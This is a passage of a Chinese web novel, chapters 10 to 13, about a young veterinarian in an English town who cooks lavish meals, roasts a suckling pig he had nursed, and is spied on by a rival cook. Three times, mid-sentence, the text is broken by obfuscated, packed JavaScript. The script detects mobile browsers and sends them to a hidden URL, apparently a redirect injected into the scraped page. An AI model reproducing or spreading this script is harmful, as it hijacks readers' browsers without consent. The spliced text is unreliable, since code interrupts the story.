林维伦笑的很轻松，他舀了一勺无花果，这是最后的甜点，只是将薰衣草花碾碎，和马鞭草与柠檬汁拌匀后的沙拉，却带来了最纯正的自然清香。 阿尔玛撑的连围裙都系的短了些，她在考虑更换主家的事。 可年轻的林格特一定不愿意花钱雇佣她，自己总不能不要薪水去做白工吧？ 不要薪水也不是不行….如果能顿顿都吃到…. 阿尔玛！ 管家使劲拍了拍自己的脑袋，清醒一点啊可恶！ “以后如果有脏衣服，都请送过来吧。”阿尔玛最终还是没有忍住，真诚说道，“还有鞋、被单什么的，哦对了，我会去帮你整理屋子，保准让你住的干干净净的！” 林维伦没有拒绝，他礼貌道谢，目光顺着敞开的窗户望向街对面。 狐狸与猎犬的酒馆大门紧闭，靠近小巷的后门微微打开，伦丁圆滚滚的肚皮四仰八叉露着，胖厨师被空气中弥漫的香气打了个措手不及。 他的颓丧霎时变成了某种意味不明的贪婪。 他循着味道走进小巷….好香…..又是这股味道…..是谁？究竟是谁？ 林维伦直接将窗户关严。 也许是吃的好，诊所一上午都顺顺利利。 新来的兽医刚出过大风头，每个到来的客户都对他很感兴趣。 有些是善意的，有些是恶意的。 不过情绪有时候最不重要，尤其是在新兽医展现了无与伦比的诊疗技术之后。 “我一直以为它是感染了寄生虫，没想到居然是肝部细菌感染！”明里暗里瞧不上林维伦过于年轻的中年男人，欣喜地抱住明显好转的狗说，“之前费里先生给它开过两次药，都没什么效果，没想到是诊错了病！林格特先生，您真是太厉害了！” “你怎么能吞掉颠茄呢？我还以为你的胃漏气了！”小男孩拍着驴子的脑袋，刚刚新兽医用石蜡冲出了驴子误食的毒物，拯救了委顿的灰色动物。 男孩语气激动，“真是太谢谢您了，林格特先生！否则我就要失去我的生日礼物了！” 阿尔玛同样惊讶。 上午预订了六位顾客，带着他们的宠物——这是费里斟酌后给林格特留下的数量，已经远比普通新晋初级兽医要多一些了。 可瞧瞧啊，现在只过去了不到两个小时，林格特就结束了所有工作，甚至还有时间接待突然到访的客户。 绿裙子的少女用纱巾包裹着一只脏兮兮的灰兔子，看见高高的男人后脸色“腾”地变成草莓蛋糕似的粉红。 “请、请问您维伦·林格特先生吗？”少女害羞地垂下头，将兔子往前递了过去，“这、这是我采蘑菇时在林子里捡来的，看起来实在太可怜了，可、可不可以请您帮…帮忙看看？我叫珍妮，我….我在橡树街的花店工作…” 敞开的门外，几名年纪相仿的女孩发出“哧哧”的笑声，打趣道，“珍妮，你怎么结巴了？” “珍妮，你不是念叨一晚上林格特先生了吗？” “珍妮，你的脸怎么比太阳还要红？” 阿尔玛远远望着，露出了然且八卦的笑来。 夏天呐，英俊的小伙子总是更容易获得青睐。看来美好的—— “头骨破裂，”林维伦伸手碰了一下，随后立刻收回，平静地说，“这只兔子应该是高速撞到了树干或别的什么东西，导致头骨开裂。再加上送来的时间太晚，恐怕我这里没有什么好消息。” 珍妮看上去难过极了，肩膀一抽一抽的，眼底含泪，看上去楚楚动人，宛若被露珠包裹的花瓣，“林、林格特先生，请问….真的没有什么办法了吗？小兔子实在太可怜了。” 林维伦又认真捏了捏兔子的胸脯和后腿，骨节分明的手指还缓慢抚摸过兔子的脊背。 那双手很长，珍妮看着近在咫尺的手，心脏快跳出嗓子眼。 “我倒是有个建议。”头顶忽然传来声音。 “什么？”珍妮欣喜抬头，她暗暗决定，无论林格特先生开出多少诊金，她都会同意的。只要…只要能多看他两眼…. 林维伦擦干净手，注视着少女的眼睛说，“炖煮。” 珍妮一怔。 阿尔玛一呆。 起哄的姐妹团完全愣住。 “不过要注意火候，”林维伦认真给出建议，“这只兔子上了年纪，如果火过于旺，或者炖煮的时间太长，会影响口感。当然，腌制之后煎炸也是不错的方式。” 也不知道是不是吓得，灰兔子瞬间咽了气。 诊所里安静的仿佛坟墓。 片刻后，少女的眼眶彻底红了，这次是真的红了。 她几次想张嘴，却什么也说不出来。最终呜咽一声，抱着死兔子跑出了诊所。 “混蛋！”外面不知道谁骂了一声，“换个好点的理由拒绝不行么？！” 阿尔玛撇过脸，沉默。 ……我还是泡茶去吧。 好好的休息天，不要想太多。 插曲过去的很快，诊所里再次被宁静笼罩。 “难以想象….”管家抿了口玫瑰红茶，掩饰般地说道，“我居然会在礼拜二的早上有空喝茶…..” 原来她都是和老费里忙的团团转。 不知道是不是错觉，她感觉林格特看得特别快，年轻人似乎有某种魔力，看一眼就知道动物什么毛病的魔力。 但这怎么怎么可能呢？阿尔玛被自己离谱的想法逗笑了，连忙又在茶里加了些热牛奶。 舒适的休息时间在费里先生回来时戛然而止。 “看来我留的‘作业’还不够多。” 老人风尘仆仆，一直锐利的眼神都变得有些浑浊了。那时间长时间赶路才有的疲惫，林维伦注意到费里先生离开时带着的手提箱不见了。 “估计被带去伦敦了，”阿尔玛收起沾了灰的外套，看了年轻人一眼，“昨晚是波文·费里的生日，哦，也就是费里先生的儿子。那可是位优秀的人才，国家卫生部最年轻的食品监察员。” 太太的语气就像在说别人家孩子，可有人却狂躁地粉碎了这一表扬 “哼，还不是他运气好而已？他是个什么东西，也配称为优秀！”老人摘掉领结，怒气冲冲地上了楼。 火气燎过的诊所大厅里，林维伦河和太太对视，皆看见了对方眼中的不明所以。 他怎么生气了？明明应该开心啊。 这次去伦敦，费里的确是给儿子过生日。 那孩子订了婚，但在星空大饭店宴请父母时却没有妻子作陪。 “您应该尽快搬过来，”年轻有为的监察员切开牛排，语调平平地说，“爸爸，那破败的地方有什么值得您留恋的？我已经在最高食品部门挂了名，如果被人知道我的父亲还在和肮脏的牲畜滚在一起，波文·费里会立刻成为所有人的笑柄。” 费里冷哼一声扔掉刀叉，“这就是你的未婚妻拒绝和我们用餐的理由？” “爸爸，”波文不耐烦地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15412837|168832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抿了口酒，昂贵的白兰地滑过唇舌，来自法国的绵密香气让人沉醉，“苏珊娜的父亲可是尊贵的议员！没有他的帮助，我甚至踏不上国家卫生部的第一级台阶！如果我不告诉他您拥有家医疗诊所，她连看都不会看我一眼！我怎么敢让她现在和你见面！” “呵，所以你嫌我给你丢人了，是吧？”费里摘掉脖子上的餐巾，语调冰凉，“但你别忘了，正是那些肮脏的牲畜供你上的牛津！还有伦敦的车票！” 费里夫人看看儿子，又看看丈夫，慢慢红了眼眶。 “别这样….”她小声说着，去拉丈夫的衣袖，“别….” 可惜常年困在家庭的女人人微言轻，无论是固执的男人还是高傲的男人都不会因为她而停下攻击。 “爸爸，您别忘了，政府已经逐步放弃了农业。”波文向后倚靠，蓝色的瞳孔已经有了不近人情的高高在上，“澳大利亚、新西兰、美国、加拿大都是英吉利的新盟友，进口的廉价肉远比本地肉更具有竞争力。您知道在这一场生意中，议员先生能借此积累出怎样雄厚的财力么？农民和牧场都已经被时代淘汰了，兽医只有大城市的宠物学家才有未来，而不是您嗯…这样的。” “你在说什么屁话！”老费里被气了个倒仰，他忍不住拔高声音，吸引了不少嫌弃的目光，“没有农业作为根基的国家，根本走不长远！女王迟早会因为今日的忽视而后悔的！我花了那么多钱，究竟是供出了个什么东西？！你难道只能看见虚无漂你的金钱还是狗屁地位？！” “请轻声一点吧爸爸，您儿子在上流社会行走的很艰难。”波文向四周微微弯腰表达歉意后长叹一口气，“英格兰天生高贵，我们是时代中最为传统的绅士。绅士，您懂吗？政府这一决策没有任何问题，摒弃那些泥地里打滚的底层垃圾，能让上流走的更高更远。” “请您想一想，其他国家都在不落烈阳的照耀下才能生存，这才是真正的决策之力，我们才是攥住他们命脉的人，您瞧——” 年轻的法官点了点盘子里的法式红酒烧牛排，“意大利、法国，印度，匈牙利，每个国家的佼佼者都前赴后继来到这片大地，他们仰望大不列颠的脊背，并心甘情愿躬身于此。” “这些东西根本不够资格取代我们的农民！”老费里感觉胸腔里着了把大火，当初知道儿子被牛津录取有多么高兴，现在就有多么愤怒。 这孩子脑袋里已经被恶臭塞满了！连最基本的思考都没有了！满心满眼都只有维护他自己的地位，和如何与那个议员先生站在同一战线上！ “你们还真的知道英格兰底层人民活成什么样了么？！”老费里眼底几乎要喷出火，“农民需要政府？放屁！政府才真的需要农民！” 如果连食物都全权依赖进口，那么就等于在大不列颠的脖子上架起一把刀！ 可愚蠢的政府正在亲手为这把刀擦洗刀刃！ “您太偏激了，但您无法否认，有些国家正适合做某些英格兰不适合的事。就像这家饭店——” 波文将天鹅蛋沙拉推向年迈的父亲，又为他舀了一勺奶油扇贝，“如果不是法国人，我们又怎能知道美食还可以有这么多种样式呢？这是一场合作，也是一场革新。我们身处浪尖，抛弃那些冗杂低贱的部分才能重铸新的辉煌。当然….” 他声音低了下去，“这也能让我们的金库被彻底撑爆的，爸爸，你想一想吧，我能和议员先生共同构建只属于我们的英镑帝国。” 老费里几乎要被气笑了，他用叉子挑起牛排，仿佛挑起了儿子空空如也只剩愚蠢的脑袋，“就这？法国大厨？烹饪的味道还不如我诊所里新来的助手！你们只想着为自己敛财，可根本不知道今天的放弃会成为明天刺向我们自己的刀！英格兰会因此被重创的！” 波文·费里怜悯地望着对方，感觉爸爸为了反驳自己都开始胡编乱造了。 “我是在拯救您，爸爸，”他叹了口气，“拯救您不被时代的浪潮狠狠拍下。您可以洗掉那一身的令人作呕的牲畜味儿，卖掉破烂的诊所，搬来和妈妈一起住，我会为您请三位仆人和一位法国大厨。相信我，没有儿子能做的比我更好了。爸爸，” 说到这，波文的语调终于冷了下来，那双和老人颇像的眼睛中藏着阴影，“您也不想让我被苏珊娜唾弃，从而失去好不容易得来的一切，和您一起回到那令人厌恶的小镇一起滚泥地的，对吧？” 门后传来怒踹东西的声音，还有垂垂老矣的粗重呼吸。 林维伦想了想，还是放下了将要敲门的手。 他听见费里先生在骂谁不知好歹忘恩负义，随后这一切直至黄昏才缓缓归于平静。 天边，残阳如血一般红。 11. 第 11 章 最近几天，林维伦明显感觉费里先生不太对劲。 他常常沉默，独自一人坐在餐厅发呆。眼睛遥望的方向，是那片茂盛的小菜园。 阿尔玛在边缘种了不少郁金香和薰衣草，风一吹，结骨朵的长茎便一晃一晃的。 老人甚至没注意到仓库新来的顾客。 他只是在林维伦独自接诊时，会放下手里的工作在旁边晃来晃去，在药房里晃来晃去，在工具仓库里晃来晃去。 最初，林维伦以为先生是在确保自己不会出什么差错，以至于害死顾客们。 然而很快，他就发现，事情并不是这样。 比如现在躺在手术床上的比特犬。 可怜的猎狗在和主人打猎时，偶遇了豪猪。 主人没有及时拦住狗子，傻狗和豪猪爆发了冲天火起的争斗。 结局：比特惨败，还被豪猪扎了满脸的尖刺。 这些尖刺又长又锋利，有些甚至插进了口腔里喉咙下，兽医必须准确无误地取出每一根，否则比特犬就会因为感染死掉。 林维伦来到药房调配消炎药和麻醉剂，老费里站在他身侧张了张嘴，想说什么又什么也没说出来。 幽灵似的跟着新兽医回到手术床前。 “要不您和我一起？”林维伦戴好手套，递过去一根手术钳，“两个人一起干，速度可以快很多。” “这是你的顾客，”费里僵硬了一瞬才说，“你来。” 于是林维伦就自己来了。 他给狗迷晕，小心翼翼钳住尖刺，沿着刺进去的反方向快速拔出。 方向很重要，如果方向不对，豪猪刺上的倒钩就会生生拽下一块皮肉，客户就离死不远了。 数不清的刺糊了比特满脸满嘴，牙龈里、舌根里，上颚和鼻腔深处，林维伦整整干了两个多小时。 让他不爽的是，老费里真就硬生生看了他两个多小时。 包括拔完刺后的检查，缝针、涂抹消炎药和与主人的沟通。 老费里在他巧舌如簧卖出两盒贵价药时才忍不住重重“哼”了一声。 “我也是在为诊所创收，”林维伦将钱交给管家太太，“您没看见吗？那人的腰带可是熊皮的，连靴子上都镶嵌着宝石。更别提我还帮他把比特嘴巴的伤口缝成了蝴蝶结，那可是额外的价钱。” “价钱！”老人忽然被踹到了痛脚，他的怒火冲天而起，“你们这些年轻的家伙就知道钱钱钱！除了钱，你们还知道些什么？！” 老人冲了出去，胸腔仿佛被湿毛巾狠狠裹住，让他难以呼吸。 为了平复心情，他选择去动物之家的仓库呆一会儿。那里的小动物们是他此生挚爱，能帮他抚平心情。 然后他就看见了那只新幼崽。 白花花一团，正一拱一拱的趴着嘬奶。 “您不该那样说他，”阿尔玛的声音在背后响起，“您该瞧瞧维伦的善良。这个‘外置奶瓶’是他亲手做的，很好的模拟了妈妈的乳/房，让小猪不会因为缺少喂养而被饿死，还是在主人已经放弃的情况下。” 费里一愣，表情变幻莫测，最终停留在名为“尴尬”的阶段。 他默默移开目光，几秒后又移了回来。 “…..那孩子没有告诉我。” “因为不挣钱。”阿尔玛斜睨着他，“林格特没有向主人要钱，只是尽力让它活的更久一点。从生下来时它就比其他幼崽虚弱太多，他只是怕你责怪。” 老人背着手喘气，在管家看不见的地方脸色青一阵白一阵，“我…..我只是不想让他将利益摆在第一位！这些年轻人，总是容易被一点蝇头小利蒙蔽双眼！利字当头的人可干不了这一行！” 阿尔玛叹了一口气，收起咄咄逼人的责怪，站到了她的老雇主身边，“这次伦敦之旅不太开心吗？” 费里将头撇了过去，“你知道的，那家伙从进入牛津之后就变得奇奇怪怪！像被什么鬼东西侵占了灵魂！更别提他毕业后去伦敦的变化了！” 阿尔玛抬手轻轻放在老人的肩膀上，“别这样，先生，拥有野心不是一件坏事。况且他是您唯一的儿子，在伦敦那样的地方，他走到如今也一定很不容易。” 动物之家里彻底沉默下来，只剩“噗噗”的喝奶声。 林维伦一天给猪崽添了六次羊奶，跛脚昆给的早已经炫光了。 心脏衰竭的小家伙也这么能吃？他茫然了。 不过得益于那无底洞似的肚皮，五天里，猪崽吹气球似的胖了起来。 它的外皮更白了，新生的身体嫩的像是豆腐。摸上去时，能感受软嫩在掌心滑动。 只是心脏的不健康让猪崽活动艰难，除了吃喝拉撒睡什么都做不了。 五天之后，林维伦在羊奶中添加了蜂蜜。他还用奶兑水给猪崽擦洗身体，从里到外的滋养让小家伙的蹄子都变得滑溜溜。 轻轻靠近时，还能闻到一股香甜。 马上就可以了。 林维伦擦干净手，给猪崽盖好手绢。 集市上的进口肉让他感到恶心，穿越到现在，除了鸡和鱼以外，他一块真正的肉都没有亲自料理过。 这将是他的“起始”，必须足够精彩。 为此，他准备了很多，毕竟他对待美食远比对待淑女更有耐心。 首当其冲的，就是在家中自己做了一个烧烤架。最底下是二手店淘来的铁盘，用来放置煤炭。 上方是一个可以旋转的长长的铁扦，中间有一块小薄板，可以控制火的温度。 皮薄肉嫩的小家伙，可承受不了过于激烈的火焰。 这期间，猪崽的主人——跛脚昆偶尔来过两次。 “我必须得来找找有没有人愿意购买猪崽，”农夫靴子上还沾着干掉的黄泥，镇上的繁华让他有些紧张，“旅馆那边住着从几个城镇来的采购商。希望能好运眷顾。” 林维伦和他分享猪崽喝了多少羊奶，“但情况依旧很不好。” 昆连连点头，“我明白的，先生，救不活的，你直接把它埋了算了，现在这样只会继续浪费你的钱。” “你的”两个字，他咬的很重。 林维伦只是微笑说没关系。 反正他也不是为了钱。 农夫擦了擦汗，只得一瘸一拐地离开，他走不了太快，却必须抓紧时间。 有两家集市拒绝了他，他必须在末班巴士车停止前尽量多跑几个地方。 前面好像还有个很出名的酒馆来着？ “什么？”空荡荡的酒馆里，胖厨师不耐烦地挥手，“如果你渴可以去吧台自己倒水！但不，不！我们根本不需要你的猪肉！多好吃也不要！” 林维伦对这些事不太在意，他按部就班的为自己的盛宴准备着。 乳猪最合适享用的重量在5-7磅（约4.5-8斤左右），正常的小猪1个星期就能长到。 然而心脏有问题的小家伙得花费更久的时间。 可总有一天。 “小家伙怎么了？”阿尔玛看见林维伦给篮子底部铺了厚厚的软垫和干草，正向着屋外的动物之家走去。 想到什么，她忍不住哽咽了声音，“噢天呐，不会吧？“ “抱歉，太太，”林维伦垂下眼，“但它恐怕坚持不了多久了。” 它已经整整6磅（约6.6斤）了，正是口感最好的时候。 阿尔玛捂住胸口，“上帝啊，可怜的孩子。需要我陪你一起吗？” “不了，谢谢您。”林维伦笑了一下，又让管家感到心疼。 “我想自己来。” 幼崽被带走了，笼子里奶香还未散尽，它就被篮子提到了新生之地。 林维伦从地窖里拿出这段时间准备的所有东西：一大把新鲜的鼠尾草和牛膝草、榛果、胡桃、杜松子，以及从阿尔玛菜园里新摘的番茄、苹果和梨，最后还有一瓶英格兰特产伍斯特辣味酱油。 炙烤乳猪，调味最为关键。 林维伦熬了一锅番茄酱，和葱姜蒜末、辣酱油、胡椒粉、盐、苹果、梨，黄芥末粉放入水中共同慢熬。 低温让所有香料充分融合，这过程漫长却也让人无比期待，连不太舒服的猪崽都忍不住从篮子里直起了身。 林维伦拍拍它的头，“别急。” 当然，这还只是前期准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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敞开的绿色窗户又窄又旧，杂草丛生里竟然来花园都没有，只有一间小的不能再小的破屋。 屋内熟悉的身影正在处理蔬菜，细胡萝卜，西葫芦，芜菁甘蓝和卷心菜，用枫糖浆和欧芹腌制，撒一把苜蓿花，加入橄榄油烘烤。 那人甚至连围裙都没系，可长而灵活的手指不断在食材中跳跃，丝毫不受阻碍与干扰，就像已经重复千次万次。 这简直是艺术品诞生现场，一波接一波的芬芳让人溺毙其中，仿佛身处微风中的原野。只是原野上摆着课桌，有人是老师，有人惊觉自己成了井底之蛙。 伦丁嗔目结舌，捂住嘴不让自己发出声音。 竟然是他…怎么可能是他……！ 一个兽医？在做菜？！ 好吧兽医做菜没什么大不了的…..可伦丁从不知道苜蓿花会成为热烤蔬菜的点睛之笔，并且调味原来并不是越多香料越好。 还有那个派的馅料是什么？鱼还是螃蟹？怎么会有层次这么丰富的味道？！ ——一个兽医的烹饪的手法居然还比自己这个职业厨师做的还要好一万倍！ 伦丁呆滞震惊，仿佛被谁锤了一拳，这他妈怎么可能？！ 然而，更让他震惊的还在后面。 年轻的兽医吃完饭并没有急着收拾，而是起身提起角落里的篮子，重新回到了不大的水池前。 伦丁看见那人将一团白花花的一团被放在水龙头下冲洗。 蹄子胡乱蹬着，然后被轻声细语安抚。 原来是一头乳猪。 伦丁擦擦汗，心想兽医不愧是兽医，善良的离谱，居然还把客户带到厨房洗澡…..嗯？等等。 林格特背对着他，将洗干净的小猪平放在干净的水盆里，长长的手指铁钳般锢住了乳猪的下脖颈。 然后，另一只手举起刀，瞬间捅了进去。 整个过程快得像在做梦。 伦丁的嘴巴慢慢张成“O”型。 卧槽……上帝啊！！ 这他妈有魔鬼！！ 12. 第 12 章 给猪放血，是个技术活儿。 好在乳猪不大，刀也提前磨过，做起来更加简单。 当学徒的时候，林维伦不知道干过多少次屠宰的活儿，只为了能让师傅更喜欢自己一点。 所以他的手法无比利落干净，放血、分割，没用一个小时就全部完成了。 他将乳猪分成了两个部分，能吃的，和不能吃的。 猪头和内脏被暂时存放进了地窖，内脏是个好东西，晒干磨成粉后会是不错的调味料，而两条猪后腿和身体被重点留了下来。 花了一点处理猪毛和清洗腹腔后，冷却好的酱汁终于到了登场的时候。 比例是精心调配过的，被一点一点仔细涂抹在脊身上的每一寸，包括劈开的胸腔内部。 林维伦提前用刀划开了皮肤，斜纹形状的刀口有利于酱汁裹住每一根血管，水果的汁液同样可以软化表皮，使乳肉更加有弹性。 剖肉用的刀就摆在手边，长久用羊奶喂养的特性在此刻终于显现出来——连刀尖上都跳跃着奶和蜂蜜的清甜，深深一嗅，复杂香料下是令人眩晕的乳香。 外面的人还在偷看。 林维伦却顾不上去管，他必须尽快将牛膝草和鼠尾草捆好塞进腹腔内，然后去处理猪后腿，否则盛宴的食材将不复新鲜。 太小的后腿无法做成火腿，可和菠萝搭配可以变成更加美好的样子。 至于前腿，那里肉质匀称，很合适剔下来做汉堡肉或吐司夹心。 所有的部分都必须腌制一整夜。 小巷的空气也跟着泡进了酱汁的浓香中。 伦丁就闻着这又折磨又振奋的味道跑回了酒馆，无视掉百无聊赖摸鱼的服务生，冲上二层把自己用力甩上房门！ “那个兽医！”他脱掉外套，扔下帽子，“居居居然私下里做这种事！” 他给自己倒了一大杯茶，有点凉，刚刚好抚平仿佛被热油浇过的头顶。 后果是焦躁全从嘴巴里喷了出来，“天啊！他居然宰了一只乳猪吃！亲手！” 那头乳猪是哪儿来的？买来的？还是根本就是从诊所里偷出来的？ 兽医会亲手做掉自己的客户么？ 这个问题让伦丁茫然又惊悚。 虽然他本人就是个厨师，亲手料理过不少牲畜。 可那是个兽医！不应该救死扶伤，看见受伤的小动物就善心爆发恨不得用自己的皮肉去缝合吗？ 可为什么这人握刀的时候连胳膊都没有抖过哪怕一寸？ 更别提那几乎能被称为“艺术”的屠宰与腌制方式，甚至能从中看出“优雅”和“华丽”。 这就像看见神父戴满十字架走进妓/院点了三对男同一样匪夷所思。 然而…..然而…. 伦丁在房间里原地转了好几圈，才勉强让自己冷静下来。 然而那股炸弹般的香气死死扒在他的鼻腔周围。 那是伦丁永远都无法构建出的丰富层次，也是任何人都不可能拒绝的味道。 ——看看一到晚餐时间就固定出现的孩子们就知道了，他们拼命嗅闻空气的模样活像等待喂食的金鱼。 德纳姆镇什么时候出现过类似的景象。 如果不是今天这一偷看，伦丁恐怕还得在井底郁郁呆上几十年。 他又灌了一大杯凉茶，可这次头顶的灼热已经无法熄灭。 一个大胆的想法在香气飘飘中陡然升起。 只是伦丁回忆着被敲诈走的5英镑，总感觉这事儿恐怕没那么容易达成。 “那也得试一试。”胖乎乎的手忍不住颤动，他狠狠抓了抓卷曲的头发，“恐怕这是唯一的办法。” “哦不，抱歉，我拒绝。” 第二天一早，林维伦就直接了当敲碎了伦丁所有幻想。 “我对烹饪没那么熟悉，伦丁先生。”年轻兽医用注射器抽出药液，缓缓注入另一个瓶子里。 他的语气轻飘飘的，说谎说的毫不含糊，“我只会一点点，仅仅因为自己比较喜欢吃，而且省钱。所以恐怕没办法教您。” 伦丁扭头看了一眼正抱着一只满身血的可卡犬快步走向手术室的老费里，确认没人注意到他后才低声且快速地说出一个数字，“100英镑，怎么样？你不会吃亏的。这些钱足够你挣一年！” “很吸引人，”林维伦上下扫了走投无路的厨师一眼，“但抱歉，我真的不会烹饪。麻烦让让，伦丁先生，可怜的狗子需要麻醉。” 100英镑就想买他一辈子积累出的经验？ 做梦或许更快一些。 然而伦丁却像溺水的人拽住营救者往水里按一样，他突然跳起来将林维伦往后推了一把，面目狰狞，“你不教我我就把你杀掉乳猪的事情告诉老费里！你那时候就像个恶魔！老费里一定不会允许这样可怕的人呆在他的诊所！” 乳猪，不是“客户”。 看来伦丁的情报还是不太够。 林维伦轻轻弹掉肩膀上的灰尘，用一种“你真的知道你自己在说什么吗”的表情看了过去，“因为集市上的肉品质稀烂，我选择自己宰杀，有什么问题？” 他太过理所当然，伦丁一下子怔住了。 是啊….虽然过程变态惊悚了一点，可自己杀猪自己吃….有什么问题？ 也许是年轻兽医一直以来的表情都太过…..平静温和，这才让伦丁病急乱投医，做出了错误的选择。 “我帮助了很多人免于病鸡毒害，”林维伦怜悯地望了过去，“可你呢？你的保释金用完了么？” 胖厨师的表情变得有些空白。 林维伦莫名感觉有些好笑，他错身离开，迈步走进手术室。 看来费里先生说的没错，有时候“声望”这种东西非常好用。 虽然他现在还没有多少，但如果坚持下去，未来必将成为遮天幕布。 老费里没注意到外头的情况，只是说，“这只可卡犬从二楼摔下来了，情况危急，先把后面的预定推掉。” 林维伦摸了摸狗头，半空中登时浮现出一行文字：【一只前左腿骨裂的狗】 只有前左腿么？ 他跟着费里先生一起做了仔细检查，发现不仅是前左腿，可卡犬的□□也有少量出血，右前的爪子折断，腹部不少淤青。 林维伦的动作短暂停顿了一瞬。 他发现，金手指并不是万能的，就像现在，文字最多对着一处异常作出说明。 虽然确实是最严重的一处，但这并不代表其他伤口不存在。 不过这不算什么麻烦事，相反，他忽然有了种玩消消乐的感觉。 解决掉最严重的那一个，下一个不太严重的不就变成了新的“最严重的”那一个吗？ 更何况这样的机制有利于让他做出最准确判断，比如现在。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15412839|168832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们应该先解决左前腿的骨裂，先生，”林维伦说，“否则它的这条腿就保不住了。” 费里再次检查了一遍。 没有任何先进的检查设备，仅凭经验行事的老兽医不得不承认，年轻的家伙说的很准确。 “有时候我真怀疑，“老人举起手术刀，“你脑袋里是不是装了个x光机。” 又是一个让人愉悦的一天，这种心情一直持续到了夜晚回家。 涂满腌料的乳猪肉静静躺在水盆里，一天一夜过去，腌料已经彻底让白嫩的猪皮猪肉变了颜色，就像白蜡烛上燃起的火焰。 一股隐秘复杂的香味充盈四周，像一个个小钩子，瞬间就钩的胃部一阵痉挛。 差不多了。 林维伦洗干净手，迫不及待将猪脊身穿进长长的铁扦上，点燃下方的碎碳。 为了不被一氧化碳毒死，他没忘记把家中所有的窗户全部打开。 等待的过程中，林维伦转身去处理猪后腿。 他将后腿脱骨，卷成长圆形，用线绳扎牢，之后取出烤盘。 用切好的蔬菜片和洋葱、大蒜当地基，再放上猪腿肉，撒一把生菜籽，用滚烫的猪油浇在上面。 等生菜籽爆出香味后，再把烤盘放进烤炉。 “我闻到了什么？”阿尔玛吸了吸鼻子，把手从锅铲上放下，“林格特….天呐！我能不能现在去敲门？！” 伦丁从草丛里探出头，脸上是陶醉伴随着挣扎和烦躁。他用力搓了几把脸，犹豫几秒后，还是小幅度挪动着慢慢移到了窄小的绿窗下。 里面的人正在切蜜瓜，手边放着温热的杏桃酱。 伦丁不免感到疑惑，他是要做蜜瓜盅么？那为什么不用咖喱粉？咖喱粉才是蜜瓜盅的标配。 很快胖厨师就知道了， 因为杏桃酱和芝士奶酪共同加热之后，仿佛在鼻腔周围引爆了甜甜的烟花。 那并非是腻到让人皱眉的甜，更像置身于精灵怀抱中被喂了口发光的魔法果子一般的甜。 虽然没有亲口尝到，但伦丁敢打赌，有这样的混合酱在前，自己这一生都不会允许咖喱粉再次踩上蜜瓜的脸。 前菜搞定，年轻的兽医终于取出了今夜的重点。 铁扦缓慢转动着，火焰把猪皮变的薄脆，酱料被驱赶至肉纹之下，在筋骨间疯狂逃窜，然后和逐渐凝结的油滴一起坠落。 乳猪的肉在紧缩，变成了金黄的颜色。那色泽被溢出的油轻柔滋养，让人从身体深处都觉得温暖。 以及饥饿。 伦丁数不清自己咽下多少次口水，他感觉再呆下去迟早会淹死其中。 可他没能逃得了。 因为年轻兽医开始向乳猪外皮涂抹蜂蜜和酒的混合液体，这是炙烤最重要的一步，能让表皮不因水分失去太多而干硬。 然而伦丁之前只会用蜂蜜水，而不是蜂蜜泡酒。 那一刻，他福至心灵地想到，酒能有效祛除所有被高温蒸腾出的腥味，还能让肌肉组织在灼烧反应中变的更加软烂却不失弹性。 胃部在抽紧，当兽医终于坐在桌旁，用叉子轻而易举撕下一块滴着汁液的乳猪肉塞进嘴里时，胃的抽紧达到最高功率。 伦丁再也受不了了，跳起来冲着窗户里咆哮，“100英镑！混蛋！100英镑！我要买你这一桌子菜！” 年轻兽医终于停下动作，慢条斯理地看了过来。 13. 第 13 章 林维伦对自己的“起始”感到非常满意。 乳猪的肉停留在最为软嫩的阶段，因为腌制的时间长，连筋皮下的软组织都被恰到好处的香味包裹。 轻轻咬上一口，玻璃似的表皮又脆又薄，被牙尖轻松破开。 划口出现，被明火锁起来的肉汁瞬间迸溅出来驰骋于口腔，嫩肉下方的每一寸都烤的酥烂细腻，咸淡适宜。 像从脚底一直被蒸腾的篝火温暖至头顶。 更别说他调味的手段极为高明。 很难想象，在混合调料的围追堵截下，乳猪肉本身的肉香却依然没有被丝毫掩盖。相反，那能勾起人类最深处欲望的醇香霸道无比，甚至让人有种要将整条铁扦都塞进嘴里的冲动。 火烧向四肢百骸，这时候就得来一口清甜的去去热气。 杏桃木瓜盅为此而生。 就像燎原之火需要漫天大雨，沸腾的热气被棉柔的凉意轻松消解，淋了果酱和杏仁碎的蜜瓜又湿又甜，柔软在口中晃来荡去，清甜充盈，宛如天降甘霖，爽的连脚趾头都忍不住弯曲。 这一切都让等待变得值得。 连聒噪的叫喊都离他远去。 林维伦闲适安逸地享用完美美一顿，之后才再次抬眼。 窗外，胖厨师头顶已经着起鬼火了。 “混蛋！你不是已经听见我说话了么？！”他暴跳如雷的样子和一颗土豆没差，“你怎么还能吃得下去！你这该死的….该死的魔鬼！黑心恶魔！” 